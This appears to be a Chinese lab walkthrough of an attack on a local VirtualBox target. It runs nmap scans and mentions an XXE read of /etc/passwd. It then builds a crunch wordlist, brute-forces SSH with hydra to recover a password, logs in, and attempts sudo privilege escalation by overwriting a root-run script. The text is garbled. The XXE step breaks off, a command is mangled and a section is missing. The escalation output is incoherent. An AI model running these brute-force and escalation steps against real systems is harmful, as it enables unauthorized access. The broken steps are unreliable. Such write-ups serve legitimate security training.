┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-16 12:28 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00052s latency). MAC Address: 0A:00:27:00:00:06 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00043s latency). MAC Address: 08:00:27:1B:FF:4E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.49 Host is up (0.00052s latency). MAC Address: 08:00:27:53:8C:29 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 4.12 seconds
靶机IP:192.168.2.49
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.49 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-16 12:28 +0800 Nmap scan report for 192.168.2.49 Host is up (0.00057s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:53:8C:29 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 36.12 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.49 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-16 12:29 +0800 Nmap scan report for 192.168.2.49 Host is up (0.00088s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: XML Parser |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:53:8C:29 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.72 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.49 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-16 12:30 +0800 Nmap scan report for 192.168.2.49 Host is up (0.00091s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:53:8C:29 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 106.06 seconds
二、WEB渗透
1、80网站
访问80端口,发现是一个解析XML的功能
2、XXE漏洞
XML 解析器如果启用了外部实体(external entities),就可能被利用 尝试去读取/etc/passwd
┌──(root㉿kali)-[~/miaosec] └─# cruncrunch -f /-f /usr/share/crunch/charset.lstalpha-numeric | \ | awk '{print "KQNPHFqG" $0 "JHcYJossIe"}' > tuf_passwords.txt Crunch will now generate the following amount of data: 11532 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 3844
使用hydra进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root㉿kali)-[~/miaosec] └─# hydra -l tuf -P ./pass.txt -s 22 ssh://192.168.2.49 -t 4 -v -I -e nsr Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 12:50:05 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 4 tasks per 1 server, overall 4 tasks, 3847 login tries (l:1/p:3847), ~962 tries per task [DATA] attacking ssh://192.168.2.49:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://tuf@192.168.2.49:22 [INFO] Successful, password authentication is supported by ssh://192.168.2.49:22 [STATUS] 73.00 tries/min, 73 tries in 00:01h, 3774 to doin 00:52h, 4 active [STATUS] 71.00 tries/min, 213 tries in 00:03h, 3634 to doin 00:52h, 4 active [22][ssh] host: 192.168.2.49 login: tuf password: KQNPHFqG6mJHcYJossIe [STATUS] attack finished for 192.168.2.49 (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 12:53:32
成功找到用户tuf的密码KQNPHFqG6mJHcYJossIe
四、获取tuf权限
使用凭证:tuf:KQNPHFqG6mJHcYJossIe进行登录
1 2 3 4 5
┌──(root㉿kali)-[~/miaosec] └─# ssh tuf@192.168.2.49 ... tuf@112:~$ id uid=1000(tuf) gid=1000(tuf) groups=1000(tuf)
五、权限提升
查看sudo -l
1 2 3 4 5 6
tuf@112:~$ sudo -l Matching Defaults entries for tuf on 112: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tuf may run the following commands on 112: (ALL) NOPASSWD: /opt/112.sh
#!/bin/bash input_url="" output_file="" use_file=false regex='^https://maze-sec.com/[a-zA-Z0-9/]*$' whilegetopts":u:o:" opt; do case${opt}in u) input_url="$OPTARG" ;; o) output_file="$OPTARG"; use_file=true ;; \?) echo"错误: 无效选项 -$OPTARG"; exit 1 ;; :) echo"错误: 选项 -$OPTARG 需要一个参数"; exit 1 ;; esac done if [[ -z "$input_url" ]]; then echo"错误: 必须使用 -u 参数提供URL" exit 1 fi if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then echo"错误: URL必须以 https://maze-sec.com/ 开头" exit 1 fi if [[ ! "$input_url" =~ $regex ]]; then echo"错误: URL包含非法字符,只允许字母、数字和斜杠" exit 1 fi if (( RANDOM % 2 )); then result="$input_url is a good url." else result="$input_url is not a good url." fi if [ "$use_file" = true ]; then echo"$result" > "$output_file" echo"结果已保存到: $output_file" else echo"$result" fi
tuf@112:/tmp$ echo'https://maze-sec.com/111 is good url.' > test.sh tuf@112:/tmp$ chmod +x test.sh tuf@112:/tmp$ ./test.sh ./test.sh: line 1: https://maze-sec.com/111: No such file or directory
tuf@112:/tmp$ sudo /opt/112.sh -o /opt/112.sh -u https://maze-sec.com/111 /etc/sudoers.d/tuf:1:6: syntax error https://maze-sec.com/ is not a good url. ^ root tuf@112:/tmp$ cat /opt/112.sh https://maze-sec.com/111 is not a good url.
tuf@112:/tmp$ sudo /opt/112.sh /etc/sudoers.d/tuf:1:6: syntax error https://maze-sec.com/ is not a good url. ^ root